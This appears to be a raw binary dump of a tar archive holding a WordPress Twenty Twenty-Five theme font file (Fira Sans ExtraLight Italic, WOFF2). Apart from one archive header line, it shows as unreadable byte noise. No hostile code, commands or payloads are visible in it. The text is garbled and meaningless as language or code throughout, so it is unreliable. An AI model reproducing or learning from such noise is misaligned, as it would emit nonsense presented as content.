7O#.i=gN)KMAP62Cp@W>ձݏ~&Ql}gكX n!s)L'kT5b ~d+?\$. lOTYxV HM;h+!q'!eCL09b93gFlbn9.l v9zph}vUCMTg MN&׊:( F5ݗuk=Uc:; ͥ lM6xuHL23h۱д[Kڳ/nUp@0"*uJ/&*Ց+btAe.]JN@' 0JLt"JI2MGWA}= 𥉉Yѵ϶.{%)_Nf[q![Mz;._h-ŹZW(aE;?OvZ`oK'w% ؀]8zJ}O7ZJY8˟Å= ^a \OWP[ Hr_% ~EID(E(^gNp_|!*{I`.RڪK\ЃS\c $2F"VwVd _\Ŭm63s|[cv([ yK8@Ne͐9bGhքE2`ʇBh09̛҃Jw &l.ŨD H/A"f+ULsE9slo{w?P89re~(`i@u9Um /w!. ں:U\q׹c?2o. s,jWu#;v?] pAI[K'{ -PPF5~ V=$x c7a6\U,Y% 2ގ L$a^a` _ZΏGQߓ11z+d!VG -j{6Hofʠ6Mn`tEq(VDA$vSOR>b$mW#B[~.{?f/O$ >B<-cƴjaUYTt 76z ?/Ix\ p]}%Q0Iu<2-1)I  )MW#CS J5鈋87n_ða$ѡK7U1= y {8EgӋMUv|6${vkeHF䳫"Y?s+ rJ&"D~5]M]MNa v0X.Rtqdx6}e#sth馊s,+GFGۃ*; "hth#%גv7&Eh&`';DO"ĺebYB [IWKhK/*E4~+ |P?,y>wpi⸠)ZFahş j3eA]8[R_kJV R> ,MM'ڪo;??$zs|׬Wre =}/Bbfb^oDeb%0̗ܳ]Z G9JNի&^ 2|bX:($ T=75É"\rAgx鈓Y oW z@Z龡/1"$0lJOd)xɨ.VB8GWXX4Pxo$ohEح.8)a0k~FC$ |^,im&SH eo?O4%k`')mǮ/,LP11bo6c 8^IR t|i':dѢ֜2rOU&뵂">y8rih z࡮zGLnW:UJIIҵ{sMESTYoxf:ڧwIW€־Ο? >3?yO]hR0鸊6b<әBI'%)G]T 4CS9x*Uy [ܸ֦ ƭtotDW1ݵ/$8|Wa3l7?83XW8R9 cs8_g"8BM1G<$Q Gd)f)E1,St)yF)0J@d'L y;UGf(W-${gI{z5X31hٰ5 ƺg=(\OKFQ' =W1ZftR/ErӐuDܹF.\8RASRoGjrzA:M\*F2i@[p¹|L_ՠ=tw$W[똁,?P O;І7:u Buo^T<jreٲgTr[zK.#锉P`8lڱ42?UYv&lQ_E.~1 (URԄܼKלgKJvܘNR͇|L%( bc*d<7 el*@+ո|Fa`: x$rcŦ@ z9^C}PvPf'H&_.21dצ齲Yt{tSLp:\ߏYBdDBT^ A;0cկ@f#|~7ACP!&%͏\Fk||RF^5:rQzos3՝ky}o_I+8G? !Im*J0Ԉ9XGfxѡdy^/{ =Y"M_-)|v@6 ~JH$HDDoTR!AH,2i=C\z)PrA+ٟ Y Dᤍ&&u7 VjOFr.1jфLspeC!%6Ҙ{޺pl#HNw9[~ȝW3tgMݵ@ F0y*BFrgُ kW Av.?f#j=On5ԎT\g0S J, Zaћ[7r"ud>wyI@icyXY#)(/ ܸvűEp`N'7+sтNxT/ w-Z^Y,BBJ]3K eQ>fyZPqzTp; T\aXmd%lY6Go1l C1%ԨaE)NC^0~3b}-՟0)YA^|ZZ27VܐUC ]ca1+ŬP)rA}8=Dtws3*mC?v:y Ɛ@50ީ$+`S~f?[Sy裔. S8)UL,P4[mN X]x,q>KytYlp x\o0 fVZ BIGou,' d9q#×L Hf$N- oCVL@Z~&!n&ۖʄ:ܓ Pخ4Rv$?EA'T%~V3P8my)W 슞YV@f;;@v]yewu[;HaJYNɪutż:.FtN+ <"H/9E7UYR]̏Eq4WuبwoFنCޥmX'ZyQk}A_?2g"~Oާ(*3C'by? 6Yg*vmol&-Y r4r-UĦ͘ #ƂHь$S6 ) d0"˹Ƴ%KhGB'fCi6 OXDfi\]\D%{zkvSBR|Jelj/X. 9H`~6K0!uzut9ynJeEr&_`KտҸ7hDZ6De7Cđx9ۢۡWlD껎֠>53Tbj 3:Q!ǝ?W{#\o%>G`Ok=* kja97g0B fa+eCU8i<`s%@ԡ{2GH CiФQda5r%sQxdkj/9FBQ?uPx?ȱ\ŋ䯾s9 wf'o:2>M%tMc\eqV~T KAmC ULp)´؀nFe+cNH?p( ہXP\az&tQ\(z8eqxc}]B}#FcAXk8*qЕ6و_҆t~Ǣ?* Bb 7E(*SCB/eߔj)k&Ԏ%R B)!݂SOM R_ڤ<̽) {Gmam/40ё5WRpʈ`gLP= 2ldX8 )!؟/#:YЧ|$4).Sa9^)la))gi>?ϫ<HH&u Ea+KZ {OsʩG48UZ3?@.eέ-\\pE!|3#&~CrAV0"^pv,cC ag3xn Td̢:BzS@_+H- N7n;g\*yD ᾄ7(6 )Y<y,'{h +SM?B)74zhO`-5a$B ׅW ^ MwIQt-Q[Dp!Še +b*0~uRwF4B,gmPDGMw ^ͩ]aNƇj5eŰs(YAC]<0Y 'U=V[jVg&IM~]]7$0g'ΡĤf;CQ@jt4;6T| &.M,>}`rrVD|WݣE~D꟰bGSd$},d8D%,gL{v%oS^ nj ZP` ^Q;:tz&"<|[[ ϷFʺ?;iԌԴ#2 `):-c=k5-Y,e9}֥0]GĶ@b]az=-.Y1XŔ_Fw<KwDv_3aq\TZ#KF*.j4 ς֖WG#Q|1ƒs{%5|[ƨM5bm*7&AdmK 'J˕v$oPV\dp8'Ê2.ww&4ܰʥ7~'63zɂ|&aZug-^ѱR&0Yzd}2 P?yč !wb[)b4&SK0:)7*Fu[}Jh2] `b5iWJu~;&NxFwƦWEDyl/ڱ55Zi]d7t~he4ŜLlRJJI,8p*P{%5 B V#`, R&nf ]@IJ]S\ڪ&Z ݷ=meȐR8= _P3;hz/-ݦu^D!qp3d{ 0bloRoNZ`yTK?Xoq:{XJ_lnX%5j~ʶ\s܉&LĂz3 ){а%o>_ Ut9g{d;D52/ɳ@62jKIQ{+Pa|>7e% ,:'K C44վlo1.^x꡴>^rJ2J0^*.bАO^^Ko,42ܗ8D|iWYzg'mLL@V4~T)[RoYE7XJ䒦̙_޿˹I&RRA˩9x G@DTlۇ-{CtdY j/Hޓh*Fuƹ~ Ɵ;lw k 屖5m%k+b8,[ &cmS=M<'~-]}Qw O{бNlgM~l:vX28jlO"6ھbkU [N}<&g3FM=V`EU +ut +qT8B22)\m"0mjea!^0A1!T Vcg"ܕkﭯZFFM.r# ohzs,N62L7@7Y-G(*,<d;=X\3w&ƒr3 ܁6_e"Lp\R]6 BT]0Qgb L'*MGoX-ɚVp 4M؆};>R@={K$عzHۓ3)[#_3\[pr i$ܐe С'H!Y찪-V*gړ$7@Ĕ\nFGb1A/~Reu6r31.1]H$X9sò6g&J.zjvUN;WÝlޒZNRͥ`Տ":ZgDՖj Y8v@8 }%J\j]<{pf%i$y3۠T(j!bsg Ii!Xb-o$W"!M:)7VZfu2ڲ_ϣOE9%Uuzidnw:hz*nL=8ζ1&upP/X,aNl\>\\/}ɠtFV"P1#bDi n2+y#LYkM>lBEfv7*ՉU[vvVߣܷM}rw2.1\$=(2vaҘEuȈ:kEig jaRtea`N$mW Qvd[?TCm,Zˈ]g> Ug ? Ԕ]q Qљq)`&3eg70rWwگ>n~[;?5\(pc0)v}R'䄱S^pJ(xuSf=N*v$-m#C[eC$JJ edBtێLE?dw c볒76 Y)a2 tHZ#Q+WZbYUhb: n[_ ;\Hn?z*_ LflcĖ7x\!WttQ\%)>Y ^*u,КGj{Rc}UxرFk }hX~cBW+-B+FCS:-!T&?3iؚax6'KA^9 "keoFO$߯ JKÌ(;*RǦL,ugJ&RpcPWH1O |UƒQ(pA䉽2nH~/duim O܁ ĦHͣ(*:8^N*5Nx3nAv CX߫t^lIVjQOkai~{^s߬3w3,5f9G:lnE̶jNϞNҊř/{l[&a19[povQ&jNy>-Ad޹Μw9{?HH8rN^)He:49CYLr!dVpӬAkoոg)?L˴&Q)8~̺lg$]qlF}jޚy~IY-"CN?1GSmey#c|x<4>43^X ԴAi@u3,<}Z~Q1cI}-BeA٨ݯiۋ7|hﰫHZ9WO!߼pj#9(T[\&sl?4;*u:'֓.-%' %:p~K7PHX1kr;pcdt߂IR)'2 ;WCVE5ڜ`Σ]aBk!qDַnFz(YmJzBa;RܕDDN& a]T2ETW߸"]8ݙ쥃§-)diUж3%n23.Oψu.|2m]~ y8v8\;9>Y0{-1f2Q\;2Rh$B=fœha5`9ORE[tu^ $Z\$f>)Nw}1GxA=bPz[8XE tZ| aFgFR xT*]x"Nr-2ڑz_>->t&s cyuzA8F 'N GlNl(ssdf4peh!]2\mɔ=Q!8Cc0, B}hv*ӧ59l/u<-Mu6=>XEO2"/]NtA羺eqlFu͉E D&Z\C:O>f," y>\KPG,OO彐hEvTxHzo$oO"?3O=1Mx⫊ϋ\<3o-,ڃ,z!I|IPu xLmw2Qe3Q/#(Nqk"KR@I3~ݿf? !qIY>*U}7Φ[hKLwb ޑL:_,q@^]B[®Q%{qqJ O_]P1"G[cU*v)ΖtG A˱vAV PUNX6EV In\beG4_iPc\uɍ1ϹKÁ}g#dzȫD< &Ex,3$ǍMH"ޗ5T +t-L|9 +D}X[kb)?:'cw#Q~sLӺ(ʍZ%޿lC6?-t5鎩,kj's.Yv8O7i[@G8YQh~2 $D;$}SݩXt57Y=5 -:;qY/ظB @hvp'6lNߌE3Q?lAckmh@=k8wYS8 3}(ޤ a[Q7Y}ԸܚGYIg>QM SӾ=eV]+josIbǷNntn5-&rdɸ_f_]9ӕO7ܟtнҏ:%{l1H5e/ +ԍU0Uh>$oHY^$626UI.L`kIE5OOV( 9Qwj]B+xr۲uhGra*@ . B^_ 9;fF(wYK[4Ƹre+6gݔC$y I !9nfM7;[a~;q,?h?7gXAQtF`pK?d>P8 ~1|ٰq0fTUբ.5-nَ<$8> /hL^4X}_=(GG淼yj竒 )iJ!p-܃Ϟ0hJs0oI%MZvQ__=T;9[w` qN2ZnPt= Gc\)xYS+\+̬Z$q)6fblυBveiy@4!Q(]1O*?zpWM <烚-tUr(N~TitqKMQׁWfwgG}bnaNKWLݏ>Y&u6Qm,[wl#Ve&:{[])1ׯsISn sM@%C\NNUAvx9yِu{axI;"gcZ q/ģ7o-}ٴ:mM.[ƾM,hn d{1=V\O 0q7͈[hX$HY6uQ_ȤeC`B+G$G4ߞSgQ]f 셣=W |7޻-G=c }5Ϋ|2h~6nqy? ~^҃Օ#2&[ZA_:WׁѼXU`}fu> LX~ ]~1ZYfՅ#Jfb'+ cJ|RlqncB͇[/UXnsgKgʹTRcBq PB ~G.,ٖ6ZVGSBG,j{T]*d${LNb֌r(esVaS[̸LkҐ[0%gѹ8zbl(Z(ݎA-IB~Raq(if!ϡFm{2B5isY.$ɡsx"t$jmү~e!DVɼ@%_mtr STn)mݡ S9 iR7 ݃ɼQ+l`hfSUSA0,BWſU@N?EVf*?\~F3߶+ $qF?zQ*tzQĐ>n|YӃǖ%VTǘ/ɛJu䢡]2Sr:w*s^g+s+ ٧5FԄ=Lӝkd0#)Ea~fϜjfOw.)OƤqXuZ=䎓|.Kӂkݓz?יXaۮ'HhVz>${o-J(* 5@?&.>?+vm)Z$Yi%}h ͱy%GvErm0㕁H5{E*𶇧@|k0rM׃y&NiTtcQVܙI׮ HɯsIJե;O׻d8L1O_Reֲ'/BK u,!drIY\atؕ/v =dPnj9JfU_nX^db'=b,3hDScv6)N=qnE8ɂ .6`ʌS<$-@.'1!5'z<}}V75D-3^L)jT7)Fm۾+Pʳa =p(B3aӅW4#*(3jr]pompY~7j&!SSaz0n;e[D:JK Ÿl$:LkP:va|M"Lg !ů"WB 1s} ҂YXD"r20.XE)b{۴Fzk E5!{ڙ#LCM¬Q iI5eqA4[xz4Q}ыçd.UuN̖ɎBZ,pҴ"G4O[{cWPrz]rٽg7,x0/Eo3N ɑN :TFCpeWjո!0eI.]HgTH^U0[cȗeS7:5A>Lw@ KcTQD}X&4ouڼ{@ -)$/m-]ka¦:̂Q-kƜ9et= &p'zwD*ؑH9+M\JdW{8n)texa ʑU執gNDwFAS_2@;e,.k#(4(kc:UOx_/K5~h)G~ - X c)X&!b|tMڂҙS̮~ddVa~;]ϪPpL#nݨb35:,1f.16x9 |yyճ_E%p!`_Z#Mo'A"7nG{U爫JW7UxMTpWEMZk^eurmxVQVQQReƬq)-p{ hp:;-* jd&SytݨZbnj:z 8ں'`KU#sh6A]hTѪiDL) S|(Ԓnɩ[SLDȢ|cM J͙\1fљITŢDe `W(d(@+V\IfXK&c% .e(' ٹDDzU7T_7̟& / (|ZZ Ў~R  O8)Tt;. 8{TJyS*XBzܾxryEL^XFp\b}@oߠgxHVVBh IAb /] $u nΰ-BxV{ňH\hj:7iNt27yO|OhI~&$$„ WΫ"R旪{Hؖ+^ud$\w N8#&V+I1RWo 3!1 )YSPJ^jI%4U[#%H-F (rW@۞teV0r]*޺! 7-ʁNj}5ET[du\ܽeayӋ+d+y͐Y/"*&.! .̘;H\l Tlj +ގPddaʝ0j⚢MJtשׂx˾f5gj{Ug f88<ü|P~AqaQﳀ8h,Qv3fd!7tMoIFB%cTfJ촩N5_(jdZH>Mݸu'+װ:PT ZQUSC &M\\& 60GfQC)8 XĄ1a>Xi#3whpeL-͈b>ȅHmDIOeꮒ>J sDCw^= Ry4[v2|V ]F ~VҬ׀Ah6w[@X(MC-J7jf mܹj%GoN;t07+c]^=luZ<եhr^H9C6#s$6%%S$>XԂ;'x3ѵ-I$ SXUBqᝂ+\Qʢ1R':r; ;YFuYc<Թ72Pπ@!H?JVvV N/Vۋao[ʽ{8nXǜi̛pGu@;]XiEm{+0Nt`WB~7)b7 8p/ۻF@ADBƼt S",@ .냓fS0e^8s/?,K`HPh2zAd7(10iy͋gILyJHvAHMiIPPj͠"@5Ym:lzNjm: 纎W~OW{g BN!)aDXaZ kRRE BjjL[qP`5IfPv4k6= 'h56}n|iw>}d9W׾n#V9^6g}{x<}Y蜄>@E2^ ?՘rƹ.Bu4 @| AGw ŴnzcUuMk])B\,;+$\Gf^H!-jj E ӃÜ "TAmq੓*s- Ys5tbw:6'lI2$ \Ў#Drlݿ ɢ|MC?D ng-.z3j˜ɡ &F)6B?AFP '$vwʽ (m94C >痾cəe]J$uwk91+nՒ)M+̥KLU<KGSTXy-m_8l 8%ntk- 9~!wt%a@cdsaYm[5 $˽N>gTrjqń))9_2D$t|#jp; @Z!9>u]=n"#%(h'"I>M.6j$#S;.?{wji;themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2000064400000474130152335264760023726 0ustar00wOF2xX\wMhl`*h  `.6$  / o[L֍hkfY.P139B n&ý} Mv豠RU7,qk+9?#^PNY֯~B@bfyPArqAL(s/To5};i6gxH\bݡtUO\W^>iJ!P:2q*KHƜ䓕ljޝDfB9H=d=:)P6c0ɮpRj>u WeGǻv7WɌQ( (m}Y+۔ݮ.%l{/~Af'C8,+.$>'!gU,EJM.#2qRG&cRޯd0NV{fqc=pNƫo:/pMd-M u١ZZ8B E.Jr!v ¢3bpYBY+W{q 4p uuTsm4wTF4xockVXݻ`%aO ]&v4 n9!܎ȞDJ4;ΏB3$xrNjO}Pދ?\x\$!!//"$!io\dz:V*$!i>sު$ 9ݕ=!tWsi{Z3)}=_=l 2^j%@(lQmszὓ/XB}%[T>~&\Vy2A^)7y1Yj;Xqx _"x[(YN˭uv[ő3gw+hzMʇ3˼Kxܼ4?|ˣIW3+08#ꙋϿ{]=jVr(k*p9 Z8} 5xeW:E!sF#<=j{"`rQ݅=f~Z'n;p[6~eZǙ<>>Ez]wGKHn.;<˽:񐄁S7kB'BFKgKT^w0S^pHLC?3?J%٣}>BN뫴 2Y[u3}*n\p[%' ;g\G'X 7[ceKوrw0;Rl)Iɾ$$V酦@) ޘQwNmd/7%R~,9#7<!|dn Ϳ'[B+jjR}U(3yU{E(ސƸe;0\6lQ˧6R{)_ި8uȑU9|Ҁ9C-?dߵnQBPw,eT4{j'OH3Y :`v/PowfÓܰ2?w%9~`JCZxg]Y: )J\#oxn72fVFFV$)cggU }\gѲ#vB6>N $ 1*'ڛ1{MQnle$ KDʴj׈J؁TGCZ)(LUW_R F!l!8眒{wWe rE*pYO c'yCiBPUS( " " Ei(iBviFSiXQa =/@.:,-Pȋб$"tBkJ1]+oQ۟J0Nr7)4e*] RN//:'~9g~ݳ\4K$A*bRS5 tVJ]rQ5iDKQ(sa.9{V&}~'0 5~]Eu7u5ס9mຖ#[<(UVg!'0^}9ci]$I$I$I${$I$I~ĘYjX2q4h^!AAZ%{G,)ThHvÿ,w;fo4+B4yAHCBHCP( E BH# "4(**tR4pnwޙ}Q!! זBP {~I#G!XCb$miCҠ .~W 6 :8BDv9CNyw .|44ZA*$_Zav$0tMUd&T]ҖͧB{js2H?2eZEP5UW6mCQգsQiz{s$*XDɲ2g WJP_l*x:0|lQ:{ka*֜Θhˊky\+ %+1o:tUutnxHO@V{tPe:-q؉,RjSp> @(P8(~k nK:Av)Uc?! x~[%&\EaaMee6( pP~p<_ZU( "tGɪ$yTH~y@k Ji4Xݽ~ϕdn/gtDTZ|{|f"XjP3'k~h19)Go<}̶/k`1,XeA40o-:#"!y6kEP 99bA(, Zr 6=s$/Qp-9b/oߜ 8ţ6aJ )_%n?t[d`j--wjYWY(=hA Oz~**^n90.AR l q/$3 Ɋxfݟ;; h$5VR'1A`|ݕ_*olSWhe"A Q5> LXˡ)rZR״*Ġ,$@Z[k8 '}{T e0>D$dzWD$((T2Yh1t cW+ܘGزz^-*1:=4%]yꍉJV(q|}J/U`41?WP,Ņ[y6?ݹ+iZ xA "Z8S 1@hZB/kFd BP\jiҬ63H?(BrY! B$fÁq=.-*DC pO͹ K$ތlmHwK *+J4=L4" RH:B؞ ' 쾻 1һ*BU) (H6RlUn7+:d38hE,w &yzB8d1mb>v9ͱ=>!Mkk׌OdeyʲK+@ 'r0 b3 7 v./_* 1N\l`&B^t+$J_ȡd9r<9NN$m!mnb7N_QFU#i.]?flue,:6YC_fvtE2ݡWwu<)xZJO8<.Ƚ/> " &\E{dR˒ib#)J4S:-J_j ,+ֽrM$Dʶ(U@7HI>9P۝ӄYL-ݻ^.8̟@hi켗.TQlR @wF&fR7qzµ|-pJSWV*$++]wpi@BQj!(hvvvZ(!ܧڞ'A~}^ff%jw|&x>LUTi}*T/X Ja0޵O3S:lгtv 4<'*Ʒܡ}-MQ]c- -U[}>ĄF.HUNG.ULʔ?Y|w!|C|#9.Av,\&maYD) !Xu;{֢5LTRvsZZ\{^z&@bT;0jvI3,z>:8!1JPz~*%>}80fcZ 0blFM5|*Ul0a#a1FB_ X̿زi8a!\ DTQ>ҩ; ȳYה{(F Aܛ{wBz~RRJdHB̙ߋ\va 1!=Joxa)"!p/ʩc2ab<'ھ׆jnD"!M% a2L}W6%N r,ARax鐋aRHOf1jDEEEDDEDl۲o}ͼ߼1""ZFhBus/"F!uR!!<)ۓك"4N#=4>g )|jךSY!1Ü)C)ADD1V-r%H+W1m5Xm λBPqb'1&Cl#Εb]--aU\bb,F񪷶i %foZw! T#{ `R%@WyǘZHX]ݠwF3/s/V_\QJJ  EM7P%hM6w=6nYƈ(ҩy8Ӷ~0Y&+]@@K B+o }AQcHĸ"a#'r"B)z1vx9<(a8oDK}+fuh~Lz1n@S)UAgMpo(g׮@.V r [&"%-$׾ʒHSo: /ԯRF`|(73L$K߃6Sa⎉rHrK2 _^H (TQ@VXi-*zP(TQ~M0E%4'-h8n w:.9 @a%i_!-D(ZxԗŴZ%GƗ+u+)tkո*&C#~"S!YhxZqL&fCrڰ jQJ%mMiG+f]`0H@̜|5QY,߸ya9Xc59FK"u'rTi6lw9zbj*(di j%`q$+IC*i1fYdN.@],@+pv\*7C%{~W5!S jDOٽJm|!Ĝ#.fb@= ɇ-(FA2 61󝝂|$7~LEz/達RIT%)x^w P}buX6vZB\#zztna,L%sO7 D"(ܡJ+0I)^&YfCoz!Eb%љuuu6x̾P]8*Z` yfIS}ZD1ĄV J"Q:Qf:mk#T:6 jH“Lb1f 8giK_t P0(Ca4L9l ;֢L ep ܔo1Ó&W @1]f< SDq-Ҫkh-Nv̢&ϒ{7yOxȯLBQqIiYyEe<:RS5]h G R< `˒M.*M2=bU3I2n  {j$ J8-'E-HY^ j:_ SP*5_s"w˗2ܓt427)-dgj{_g5̪Vqfέ"T ]3xYdpE':w=^<܄燉@Y"#l9+YVvr_  2}IC2QcLŪp[e]JڍZ){ Դ8|8 V YeQM)h$?ߩ½&p9{n$b^J~*yC>I Dӏr"'ΞYjX.e~d`܇D˩~ڑȡRDHiK|jY%7^rpJfL^(>%`blj,˦t$V JPߥn0" :O ٨XײOl =BC6p=xZj8K7VnjhY,IM#^&)v46eXe܈H}#e@F)o{YOlOW iLS =ϸMP&.LӤDseRHL&TFyz!tiw4KSNE.v vʡ`AJ<\cv]4v2(Q*HU0X#MyL;r^ꔽcW\IkTUWԺ7lgRo5]ZugYVՊlń -j^Հj ¬|2qG3CH'ylF4>,(|bư2fa0M0*X`)*TIfxr85)ya^ba^AN6| 7,s ל0Ӝ7E?O]S7(pdiqtS(&b!sވulF>1P<4<XrUppѪXj3,"N,ENYXZ[10[da3c` Lrp~Z?щi'^l kjP'm3QEo!g w @G6l^g ~5 ߷LK)WSF]=ØSj D_GdvKxM(Fs= gʿ\;΄^s.i#;L1CR<[Xn&A=Ko%zƾJǏ~>ω5ynXE(\9<E MHRzLOɏs|AzkrT9'OwI3- @"`W:ؔ۷# O6&|aCxsPYiQRZV޲2V_0|FG;֘<t܉]3#i[Ƕ ؛b99(&=ݙޖn&ΙLbc0QcIHUwxo/60ˋy0Y VIcsC.@^l;;;<n20{3LҨ5,\4Ku So!(S/rNql7]Y7.ܭPԯ 0{:=ݚhoMߵΫQ}0a| By.~^fLe@AOoPH@Z]&&lvnV&ṯw<TaJ76N q]BTW'YeV; &~╆x_oς-TYH@.3OԞjFMfH>[P-?/?V*WX~Fiœ0]ek]uC5PJ\؝g6suL> B=wєoۭՖc](,ܷ*K2NLJPB ͑SXt\; h04uM{+1~"OU̘Ok}\g4u?-n{0PmMiT70 {Z9Pr}nk.k#qy vJٖGvPib)@54RW?԰'O;M{.Ka#M 2dWd C@Z{T9ѱc+I)Ԗ,%[*I6xwJ&/R;4٦: ](mh?y8I%z(u,&,Ƕ5goL䵀' >)߄jmJ/oXgه~Akw:x='0|֪kè~Eu7J5Z##םgOgSI=*w*DVP <-4ccgU!%=ǯ͓+Iv#OX)2VtRW]7V;Er>)ς +XRFs,DEdܱꚸm̄Þ09723 LP@\1S:X3]q9)sen郆~9 'ӜZ'!%4{r\L/}_jo]寒)lYʕ\Yj**,"4b2TJ&iJs&kuHSБ:bBR urci+aFY"`:X#Zt=B8Ey:oF[·R|'9wd5 {o^dl 'jȟ4C $\a,T[y龸vzhT,WTvQ9WyU`{Qu:pFTa]clLNIӤ3'9C߲1̛94_9"z }`S6z.]t/=ޯJΦ[PhV ?Y`1gUUnXmDEѥHbtr6^AXz^}vCb|'Gu[:G71 =|.fSjB-}c 2e <0Q+M" Ih%su" JT_5pWu*^fՠQC9XڠVΡ4H32e /,(|wf}6{wu]{U1T'%?W:~ogq9u%LB`>!~ ͌" SYɧR4iN^d=Azk5`|m)O!G0$ ]xBLh%}*ȕda}IN#>]>^UI NK0PS҆OuQzE҇RC4 6DjCٖ!$Yq+kͯreWsnϾ]^7QG}p|aWe#Fsw 1ib2rSϧ6NʀX|49BR/E,̬ [ 7J [ݪsyGCVj BvxG~-UTp6ߗ`s8_-}޶1{3CxOzCg<7{>.`ox Gߚgo,&gTq^%UiVWS4V{[@:s.vi8D6pJTZ`VؑGvőp,9+O4N{鹕ә-+d6v<#Ea Uarԏ1CZ`j+*U,TDkP:;a3֩RC,Y(ZfyvYs&Z Q1H%Og&6 0xH Q#M|[z=„LwK3{*)vd~}4ܽ/ %"z+g2+)mj.n(E Ԏ>~B{(Ҕ]Ӑv3>0YEٚwZ&lxڭYG>:fgoR7`֫r.}Lп9 e# (P<֦وA`?Jx@w.<=4B茋(U<@6*Dtt J*;| $Ɏ,m1 /HC>[ŨwKaM"Ўw O7;,Ě[]5TI841@ݣnvr!YvUFTJ 9a˶.x57 Q.Pv|NNuXVJwh״H:7/ usrIn ReZPgT;3 =}NV &WYfҁ QY_hŚM OtI'"\b>zDX㲌JPM|eTnmNK0;5To[;N6p4^ַܿ'z AqBSd7%gK@ i[Xl:i_/Ǔ3O{ H(CN'Y8X _4$"&!)T0j:KEF2i%3R?3F%e׶]yBhe6+L$r¢P u&:>Lt$Ѯ{>{| FM+{ml<\jNjZz,l<ΉIj/t Gp(bw|JoXCCE 8|2@a-h>kMSt;/%K}ƅq0 |pH!ɝ'_~D%[ dHߎ ;}"޴@+un o"(jCs-{ZGV^HjzɌ^"`IWWP{ w*TU?Ĭ:T(TXReUو[-6Cxw.sZ/l^_dM4Ϗ=A*TQAm:t=G¨,Em;fga_"5mRom0txBWw,x]$SPv7ESO(3"-a J%-=SQW \f`K*lV5s![p쥸y󸜞햂KϐW)3GO~grsLoEcgI?1nR;;Aӎغ`w#Kt"I YCΌyCW$)Fy 3۩.Δ'$ YQ`>W@{ tDԻLɃS>l} @1 -S3f \EΓ`t̶!yu£6d:lupԭĭMٵlPWUCh" ǣsu` dFfAN0qR~`UC[2A>x!:و4u=&JtP_+NwΞnJb&y`ڗ?TCV6/2y+&|/tU@)jddmyF=6gz[dMIBN!nb>=/vJQGQ?bOGq'~# K (kkx+/.vmY"h{zuKZZ&s\3(pኚĊ^SiW7@fN+ &FhC֋ꐛmACHv&6n!MbVH4JQ6~PLDhnT?i^^@YhK@.4LSj{vjc}B0uP"6 k>,ba? J`dãnC`Gǡw9VK>1uwM`s1J"s ) DHr=E%+Zf Yɭ ! ]i5Adg6ؕLrgQyhEn.>2^HIP/BK\g Rdؖ'4.F^\f,zU[w#ȯWf S[W [ԝ굺Y]`5WpKse-?;̻꾂 K!0 y.>g&bY~D#~2$A䡰gP$3AASj##ڈ)= |_ٽ^Ĩ"g꨾JTz^^(k.n0[@;+~5p;TH XnٱLJY.ٶ'6g!l#0?"PE6MQ-4tV,%i\5y[aLֳ^8Deb]&cP%OU- Z(ݑᳱ_vBs;?(JRIJ LV<"UO:>הibs 1TOFyw_J .{%ep_\Z/.cR_\-x-yJ/h){wYR1Y ̥ӳc)k N|'m 8~#0y]PtogBl*f̺T(h&W:[1U5U5MIҵr90!=EP,٧'ﷃ`r @վT;v}&H@ o>LBШ:r-A )\Fwo255ܿս+DĤ-d}vxPͪ7q/78kiˉ5p'ˁouA6 tJyI 5fg]9ƕǰD"eջU kĸ v#:V1uJ4t>g"Cr4`jD IH~xٽ,[T Jm>:mn֑QM@~Um^:bMF@D%-Py_Z& 1rC]=jt=`_ i ڔi$~JC;^:hV+FhetSY2zqh c`b&\Ǫ1H;.l{=eP |8jB- K95۞ ^E]|]"vT]///azEEbXlPu Jح,Yj@pPHȏZE2ڔ+eFw>aTh5Kg0iTgB3i"HQ KPgqNd8v T.a7,'k)M8)p6S`F6[ve}qpܳй8Rr\\lg7lc e-v?/_rW{9/J_+>þ!,ڑTrKRR2G4K./d!/Na/2oH%oFoiHM1U_Scri~/ \H~7*W2s=v}wgkwg1m&ʣZJdpɕ,R-(ajeP4$Ch~ѪA˙V˱CgFjFe{P urcdɶ\+G;QvTo,%]>)Zl*!RPv-dnf h`ޯl&]sͨF֣6?Vd}_y#CI/^u D;)Vf](`eHvYMcO4/͛0눆,AJDW)peuAMYixE!gƙz:+DiE+3nkn!/xt+{C1X,B+dv?pL5j4h"qMkw(*;_ujߊKQ_ HPјfQc`H 3FN H/:z%E;lb۱E7Q4F5ik^g+/sٱ8ǿ`x/#\d7U@xA#b[ nڮp\'$TJUZf4>afc!Xf4Y¹VJ {@,8@]O #`='gV9aS׵#H ,aih`Xoϐf'7^`^j<|̚-с +a6^Q{:%LO94bÍyvL^ؠh+^naĦQc_6QSL01-,K/Rr:. ;C)nܘV6ݡsS6wu5:v5}vh90\N#>Zcl'b;Wm(߶P#gjXkop\+ ,|2S2Ul0,=Afbzk yNchA4%1&D_d:3k`8mkIt3+HM[o*lG83'5vqtUZ 71#vf)~L'ba* %PF( AgBI$R͟%z9 YrXTkSإSp[i f%1.hĺIa #U3L7Qʕx)7y &~i*fs%gRlTr%ǔ Gr:0 }h\dHوRvn*iKMM}k31ȼ{y5k/e} Zib/.f`rS4"_ESh|` 4Pey ,iYនt:7D(KKmOc'o:JMO'о4Czz:z7Q ŀ;6&%ޤ:)RSJ~\mA4A(z*x,CjzV38\ e銔4g͐x6YtGp U!ݸ: چ&됃D.kT95hmsD.UGZوQ#F5bBH[䪟TbQytHH"B"g$똤rzTP%ZD L*wS1upR9IK`Oܭc'NԌ !2ð^UKL8<~c|u$tG:5(1VͺK&; F3Ըw@y}A q&Ԕ@_!HH-mgrI0le;>25DY_=6.5bx5f,H~FzmڡaQ1p,!Pw1 "D*+*FK[GWOwUj>Vj f+ݢOCSD薿Q % Y|ڨ7 =768:!Xd).8:PT@MIJh8;GS`+` D FQ|(k,M9 M >$ד,"o٦xpwIf'}V㋨dUHRIYr`$|ɋ+{GpfR7\H 6 ɪl蔸U JS$"xDJA̬ ?8L!0Dh!_8$S&ZQutC:y⨗A R:m'#!^B/T&0IJEybޒDZn0{JKX"?co~y@ߧW%0GCQkĘ>"D cuLI^}%*5'yz޹oNA#Y 9B-T'T &(Ef{d; ` SC^o:A\8|}p1N(8rs5"n!/EQ&ţ:츽-08Ef, n7g- *>ē_7-Z[LQcП앹(iIATcq2vR bg3]eP`4v mnS*ni\"!<2ḍu9+|#t)y"su.?=a|_/+ߠ)q;> ' #|pm1]!Dl@jq 1Bq19g1ӹPJJ+^/(%O%.Mufuwh(kO[IZ@M_M7;23| ]K|s$d|=s:ZG}O$O@_'sDodz EPTM sC͢}HݖmG_ 'J0 pїˠ 